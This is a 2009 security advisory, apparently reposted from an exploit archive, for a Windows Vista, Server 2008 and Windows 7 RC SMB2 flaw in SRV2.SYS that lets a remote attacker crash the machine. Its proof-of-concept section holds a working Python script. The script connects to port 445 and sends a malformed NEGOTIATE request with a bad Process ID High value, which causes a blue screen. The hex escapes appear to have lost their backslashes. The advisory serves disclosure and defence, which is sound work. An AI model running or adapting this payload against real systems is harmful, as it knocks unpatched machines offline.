=============================================
- Release date: September 7th, 2009
- Discovered by: Laurent Gaffi??
- Severity: High
=============================================

I. VULNERABILITY
-------------------------
Windows Vista, Server 2008 < R2, 7 RC :
SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D.

II. BACKGROUND
-------------------------
Windows vista and newer Windows comes with a new SMB version named SMB2.
See: http://en.wikipedia.org/wiki/Windows_Vista_networking_technologies#Server_Message_Block_2.0
for more details.

III. DESCRIPTION
-------------------------
[Edit]Unfortunatly this SMB2 security issue is specificaly due to a MS patch, for another SMB2.0 security issue:
KB942624 (MS07-063)
Installing only this specific update on Vista SP0 create the following issue:

SRV2.SYS fails to handle malformed SMB headers for the NEGOTIATE PROTOCOL REQUEST functionnality.
The NEGOTIATE PROTOCOL REQUEST is the first SMB query a client send to a SMB server, and it's used to identify the SMB dialect that will be used for futher communication.

IV. PROOF OF CONCEPT
-------------------------

Smb-Bsod.py:

#!/usr/bin/python
#When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field
#it dies with a PAGE_FAULT_IN_NONPAGED_AREA error

from socket import socket

host = "IP_ADDR", 445
buff = (
"x00x00x00x90" # Begin SMB header: Session message
"xffx53x4dx42" # Server Component: SMB
"x72x00x00x00" # Negociate Protocol
"x00x18x53xc8" # Operation 0x18 & sub 0xc853
"x00x26"# Process ID High: --> :) normal value should be "x00x00"
"x00x00x00x00x00x00x00x00x00x00xffxffxffxfe"
"x00x00x00x00x00x6dx00x02x50x43x20x4ex45x54"
"x57x4fx52x4bx20x50x52x4fx47x52x41x4dx20x31"
"x2ex30x00x02x4cx41x4ex4dx41x4ex31x2ex30x00"
"x02x57x69x6ex64x6fx77x73x20x66x6fx72x20x57"
"x6fx72x6bx67x72x6fx75x70x73x20x33x2ex31x61"
"x00x02x4cx4dx31x2ex32x58x30x30x32x00x02x4c"
"x41x4ex4dx41x4ex32x2ex31x00x02x4ex54x20x4c"
"x4dx20x30x2ex31x32x00x02x53x4dx42x20x32x2e"
"x30x30x32x00"
)
s = socket()
s.connect(host)
s.send(buff)
s.close()

V. BUSINESS IMPACT
-------------------------
An attacker can remotly crash any Vista/Windows 7 machine with SMB enable.
Windows Xp, 2k, are NOT affected as they dont have this driver.

VI. SYSTEMS AFFECTED
-------------------------
[Edit]Windows Vista All (64b/32b|SP1/SP2 fully updated), Win Server 2008 < R2, Windows 7 RC.

VII. SOLUTION
-------------------------
No patch available for the moment.
Close SMB feature and ports, until a patch is provided.
Configure your firewall properly
You can also follow the MS Workaround:
http://www.microsoft.com/technet/security/advisory/975497.mspx

VIII. REFERENCES
-------------------------
http://www.microsoft.com/technet/security/advisory/975497.mspx
http://blogs.technet.com/msrc/archive/2009/09/08/microsoft-security-advisory-975497-released.aspx

IX. CREDITS
-------------------------
This vulnerability has been discovered by Laurent Gaffi??
Laurent.gaffie{remove-this}(at)gmail.com

X. REVISION HISTORY
-------------------------
September 7th, 2009: Initial release
September 11th, 2009: Revision 1.0 release

XI. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is"
with no warranties or guarantees of fitness of use or otherwise.
I accept no responsibility for any damage caused by the use or
misuse of this information.

XII.Personal Notes
-------------------------
Many persons have suggested to update this advisory for RCE and not BSOD:
It wont be done, if they find a way to execute code, they will publish them advisory.

# www.Syue.com [2009-09-09]